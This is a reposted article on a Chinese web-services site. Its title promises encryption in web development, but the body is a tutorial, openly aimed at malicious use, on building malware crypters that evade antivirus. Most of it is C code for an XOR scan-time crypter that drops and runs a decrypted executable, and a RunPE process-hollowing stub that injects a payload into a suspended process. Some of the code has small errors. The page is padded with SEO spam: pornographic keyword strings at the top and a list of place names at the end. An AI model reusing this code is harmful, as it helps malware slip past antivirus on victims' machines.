内射老阿姨1区2区3区4区_久久精品人人做人人爽电影蜜月_久久国产精品亚洲77777_99精品又大又爽又粗少妇毛片

web開發(fā)中加密技術的示例分析

這篇文章主要介紹了web開發(fā)中加密技術的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

淄博ssl適用于網(wǎng)站、小程序/APP、API接口等需要進行數(shù)據(jù)傳輸應用場景,ssl證書未來市場廣闊!成為創(chuàng)新互聯(lián)的ssl證書銷售渠道,可以享受市場價格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:18980820575(備注:SSL證書合作)期待與您的合作!

密碼學的兩個方面

當我們談起對于密碼學的印象時,我們經(jīng)常會想到 "這是一種處理信息的手段,防止信息被泄露出去"。我們大多數(shù)人都把它看成是一種防御機制,其應用的目的在于確保信息的安全,阻止惡意的攻擊。當然,我們很清楚這一點,因為它被發(fā)明出來的唯一目的就是保護數(shù)據(jù),然而,正如我們很快就會看到的那樣,密碼學的功能已經(jīng)遠遠不止這些。

如果我們使用傳統(tǒng)的密碼學來進行惡意攻擊,即設計惡意軟件,利用密碼學提供的優(yōu)勢。這些類型的惡意軟件在現(xiàn)代已經(jīng)非常普遍,包括勒索軟件和非對稱后門等,它們主要涉及公鑰密碼學。

反病毒機制

為了能夠設計出繞過殺毒軟件的方式,我們必須首先要明白殺毒軟件的殺毒方式。我將簡單介紹一下殺毒軟件檢測應用程序采用的兩種主要方法。

基于簽名的檢測

顧名思義,基于簽名的檢測是一種將應用程序的簽名與相應的已知惡意軟件的數(shù)據(jù)庫進行交叉參考匹配的技術。這是預防和遏制之前出現(xiàn)過的惡意軟件的有效措施。

基于啟發(fā)式檢測

雖然基于簽名的檢測可以防止大多數(shù)以前已知的惡意軟件,但它也有缺點,因為惡意軟件作者可以針對這種方法添加保護措施,如使用多態(tài)和變形代碼等。基于啟發(fā)式的檢測會監(jiān)控應用程序的行為和特征,并將其與已知的惡意行為進行匹配。請注意,只有在應用程序正在運行的情況下才會進行這種檢測。

當然,殺毒軟件要比這個高級很多。由于這已經(jīng)超出了文章討論的范圍,也超出了我的理解范圍,所以這里不會涉及這些信息。

加密技術簡介

加密器是被設計用來保護文件內(nèi)部信息的軟件,并且在執(zhí)行后,用解密程序提取后能夠完整地提供信息。請注意,雖然加密器可以被用于惡意目的,但它也主要用于混淆數(shù)據(jù),防止對軟件逆向工程。在本文中,我們將重點討論惡意使用的情況。那么,這是如何工作的呢?讓我們先來了解密碼器的各部分,看一下它們的作用。

加密器負責對目標對象進行加密。

+-------------+      +-----------+      +-------------------+     +--------+
|  Your file  |  ->  |  Crypter  |  =>  |  Encrypted file   |  +  |  Stub  |
+-------------+      +-----------+      +-------------------+     +--------+
+------------------+     +--------+                  +---------------+
|  Encrypted file  |  +  |  Stub  |  = Execution =>  | Original File | 
+------------------+     +--------+                  +---------------+

掃描時加密器

這些類型的加密器由于能夠加密磁盤上的數(shù)據(jù)而被稱為掃描時加密器,殺毒軟件可以對文件進行掃描,例如基于簽名的檢測。在這一階段,只要應用的混淆技術是足夠強大的,殺毒軟件將永遠無法檢測到任何惡意活動。

運行時加密器

這些加密器將加密技術提升到了一個新的水平,能夠在內(nèi)存中運行時根據(jù)需要對數(shù)據(jù)進行加密。通過這樣做,能夠使惡意軟件在殺毒軟件作出反應之前加載和執(zhí)行。在這個階段,一個應用程序可以快速地運行它的有效載荷并達到它的目標。但是惡意軟件完全有可能在執(zhí)行階段觸發(fā)殺毒軟件的基于啟發(fā)式的檢測策略,所以惡意軟件作者應該小心。

現(xiàn)在我們已經(jīng)介紹了高層次的內(nèi)容,那么我們就來看看這兩種類型的實例。

編寫掃描時間加密器

掃描時加密器是兩者中比較簡單的,因為它不需要虛擬內(nèi)存和進程/線程的知識。本質(zhì)上,stub會對文件進行處理,把它放到磁盤上的某個地方,然后執(zhí)行它。下面記錄了一個掃描時加密器的設計。

注意:為了簡潔和可讀性,內(nèi)容將不包含錯誤檢查。

加密器和stub偽代碼
1.檢查是否有命令行參數(shù)
+-> 2. 如果有命令行參數(shù),則作為加密器對文件進行加密處理
|   3. 打開目標文件
|   4. 讀取文件內(nèi)容
|   5. 對文件內(nèi)容進行加密
|   6. 創(chuàng)建一個新文件
|   7. 將加密后的文件寫入新文件
|   8. 結束
|
+-> 2. 如果沒有命令行參數(shù),則作為stub
    3. 打開加密文件
    4. 讀取文件內(nèi)容
    5. 解密文件內(nèi)容
    6. 創(chuàng)建一個臨時文件
    7. 將解密后的內(nèi)容寫入臨時文件
    8. 執(zhí)行文件
    9. 完成

這個設計方案在同一個可執(zhí)行文件中同時實現(xiàn)了加密器和stub,我們可以這樣做,是因為這兩個操作非常相似。下面用代碼來介紹一下設計方案。

首先,我們需要定義main和兩個條件,這兩個條件定義了是執(zhí)行加密器還是stub。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

由于我們將應用程序設計成了窗口應用程序,我們不能像通?;诳刂婆_的應用程序中那樣檢索 argc 和 argv,但是微軟提供了使用 argc 和 argv的解決方案。如果命令行參數(shù) __argv[1] 存在,應用程序?qū)L試對指定的文件進行加密,否則,它將嘗試解密一個被加密的文件。

接下來是加密程序,我們需要 __argv[1] 來指定文件的句柄和它的大小,這樣我們就可以把它的字節(jié)復制到一個緩沖區(qū)中進行加密。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
        // open file to crypt
        HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        // get file size
        DWORD dwFileSize = GetFileSize(hFile, NULL);
        
        // crypt and get crypted bytes
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
    }

    return EXIT_SUCCESS;
}

Crypt函數(shù)主要是將文件內(nèi)容讀入到一個緩沖區(qū)中,然后對其進行加密,然后返回一個指向緩沖區(qū)的指針。

LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
    // allocate buffer for file contents
    LPVOID lpFileBytes = malloc(dwFileSize);
    // read the file into the buffer
    ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);

    // apply XOR encryption
    int i;
    for (i = 0; i < dwFileSize; i++) {
        *((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
    }

    return lpFileBytes;
}

現(xiàn)在我們有了加密的字節(jié),我們需要創(chuàng)建一個新的文件,然后將這些字節(jié)寫入其中。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
    } else {
        // crypter routine
        
        ...

        // get crypted file name in current directory
        CHAR szCryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szCryptedFileName);
        strcat(szCryptedFileName, "\\");
        strcat(szCryptedFileName, CRYPTED_FILE);
        // open handle to new crypted file
        HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        // write to crypted file
        WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
        CloseHandle(hCryptedFile);
        free(lpFileBytes);
    }

    return EXIT_SUCCESS;
}

加密器部分差不多就是這些了。注意,我們使用了一個簡單的XOR來加密文件的內(nèi)容,如果我們能夠獲得密鑰,這種方案的安全性可能是不夠的。如果我們想更加安全,我們可以使用其他的加密方案,如(x)TEA。我們不需要完整的加密算法,因為我們的目的是為了避免基于簽名的檢測,因此這么做完全是矯枉過正。保持文件小而簡單最重要。

讓我們繼續(xù)進入stub例程。對于stub程序,我們要檢索當前目錄下的加密文件,然后將解密后的內(nèi)容寫入一個臨時文件中進行執(zhí)行。

我們首先要得到當前的要處理的文件,然后打開文件,得到文件大小。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        // get target encrypted file
        CHAR szEncryptedFileName[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
        strcat(szEncryptedFileName, "\\");
        strcat(szEncryptedFileName, CRYPTED_FILE);

        // get handle to file
        HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        // get file size
        DWORD dwFileSize = GetFileSize(hFile, NULL);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

和加密器例程差不多。接下來,我們要讀取文件內(nèi)容,并得到解密后的字節(jié)。由于XOR操作恢復了給定的公共位的值,我們可以簡單地重用Crypt函數(shù)。之后,我們需要創(chuàng)建一個臨時文件,并將解密后的字節(jié)寫入其中。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        
        ...

        // decrypt and obtain decrypted bytes
        LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
        CloseHandle(hFile);

        // get file in temporary directory
        CHAR szTempFileName[MAX_PATH];
        GetTempPath(MAX_PATH, szTempFileName);
        strcat(szTempFileName, DECRYPTED_FILE);

        // open handle to temp file
        HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        // write to temporary file
        WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
        // clean up
        CloseHandle(hTempFile);
        free(lpFileBytes);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

最后,我們需要執(zhí)行解密后的應用程序。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    if (__argc < 2) {
        // stub routine
        
        ...

        // execute file
        ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
    } else {
        // crypter routine
    }

    return EXIT_SUCCESS;
}

請注意,一旦解密后的應用程序被寫入磁盤,它很有可能被殺毒軟件的基于簽名的檢測方式檢測出來,因此這樣有可能捕獲大多數(shù)的惡意軟件。正因為如此,惡意軟件的作者需要編寫即使他們的應用程序在這種情況下仍然能夠執(zhí)行的功能。

掃描時加密器就到此為止。

編寫一個運行時加密器

對于運行時加密器,我的文章只涉及stub,因為它還包括更復雜的過程,所以我們將假設應用程序已經(jīng)被加密。這些加密器使用一種叫做RunPE的流行技術。它的工作原理是stub先解密應用程序的加密字節(jié),然后模擬Windows加載器,將它們推送到暫停進程的虛擬內(nèi)存空間中。這個過程完成后,stub將把暫停的進程恢復運行。

注意:為了簡潔和可讀性,我將不包含錯誤檢查。

stub偽代碼
1. Decrypt application
2. Create suspended process
3. Preserve process's thread context
4. Hollow out process's virtual memory space
5. Allocate virtual memory
6. Write application's header and sections into allocated memory
7. Set modified thread context
8. Resume process
9. Finish

我們可以看到,這需要相當多的Windows內(nèi)部知識,包括PE文件結構、Windows內(nèi)存操作和進程/線程的知識。我強烈建議讀者在理解這些知識的基礎上來理解下面的材料。

首先,讓我們在main中設置兩個例程,一個用于解密被加密的應用程序,另一個用于將其加載到內(nèi)存中執(zhí)行。

APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    Decrypt();
    RunPE();

    return EXIT_SUCCESS;
}

Decrypt函數(shù)實現(xiàn)方式完全依賴于用于應用程序的加密方式,這里是一個使用XOR的示例代碼。

VOID Decrypt(VOID) {
    int i;
    for (i = 0; i < sizeof(Shellcode); i++) {
        Shellcode[i] ^= Key[i % sizeof(Key)];
    }
}

現(xiàn)在,應用程序已經(jīng)被解密,讓我們來看看神奇的地方。在這里,我們通過檢查DOS和PE簽名來驗證該應用程序是否是一個有效的PE文件。

VOID RunPE(VOID) {
    // check valid DOS signature
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
    if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;

    // check valid PE signature
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
    if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}

現(xiàn)在,我們將創(chuàng)建暫停的進程。

VOID RunPE(VOID) {
    ...

    // get own full file name
    CHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    // initialize startup and process information
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    // required to set size of si.cb before use
    si.cb = sizeof(si);
    // create suspended process
    CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

}

注意,szFileName可以是任何可執(zhí)行文件的完整路徑,如explorer.exe或iexplore.exe,但在本例中,我們將使用stub的文件。CreateProcess函數(shù)將在暫停狀態(tài)下創(chuàng)建一個指定文件的子進程,這樣我們就可以根據(jù)自己的需要來修改它的虛擬內(nèi)存內(nèi)容。

VOID RunPE(VOID) {
    ...

    // obtain thread context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.Thread, &ctx);

}

現(xiàn)在我們清空進程的虛擬內(nèi)存區(qū)域,這樣我們就可以為應用程序分配自己的運行空間。為此,我們需要一個函數(shù),而這個函數(shù)對我們來說并不是現(xiàn)成的,因此我們需要一個函數(shù)指針,指向一個從ntdll.dll 文件中動態(tài)檢索內(nèi)容的函數(shù)。

typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);

VOID RunPE(VOID) {
    ...

    // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll
    fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
    // hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase'
    pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);

    // allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
    LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

}

由于被暫停的進程在其虛擬內(nèi)存空間內(nèi)有自己的內(nèi)容,我們需要從內(nèi)存中對它進行解映射,然后分配我們自己的內(nèi)容,這樣我們就有訪問權限來加載我們的應用程序的映像。我們將通過WriteProcessMemory函數(shù)來實現(xiàn)。首先,我們需要像Windows加載器一樣,先寫頭文件,然后分別寫每個部分。這一部分需要對PE文件結構有一個全面的了解。

VOID RunPE(VOID) {
    ...

    // write header
    WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);

    // write each section
    int i;
    for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
        // calculate and get ith section
        PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
        // write section data
        WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
    }

}

現(xiàn)在一切就緒,我們只需修改上下文的切入點地址,然后恢復暫停的線程。

VOID RunPE(VOID) {
    ...
 
    // set appropriate address of entry point
    ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
 
    // resume and execute our application
    ResumeThread(pi.hThread);
}

感謝你能夠認真閱讀完這篇文章,希望小編分享的“web開發(fā)中加密技術的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持創(chuàng)新互聯(lián),關注創(chuàng)新互聯(lián)行業(yè)資訊頻道,更多相關知識等著你來學習!

本文題目:web開發(fā)中加密技術的示例分析
網(wǎng)頁路徑:http://www.rwnh.cn/article10/gspido.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供軟件開發(fā)、企業(yè)網(wǎng)站制作、網(wǎng)站設計、營銷型網(wǎng)站建設App開發(fā)、ChatGPT

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

綿陽服務器托管
油尖旺区| 新疆| 辽宁省| 靖远县| 昆山市| 武夷山市| 兴隆县| 大冶市| 酉阳| 和林格尔县| 山东| 汝南县| 保康县| 胶州市| 西安市| 花莲市| 富宁县| 双桥区| 普兰县| 顺昌县| 专栏| 阿坝县| 响水县| 霍城县| 平泉县| 平武县| 古浪县| 宁晋县| 南部县| 文成县| 清河县| 梓潼县| 牟定县| 新巴尔虎右旗| 台南市| 观塘区| 合阳县| 泌阳县| 淅川县| 瓮安县| 辽阳县|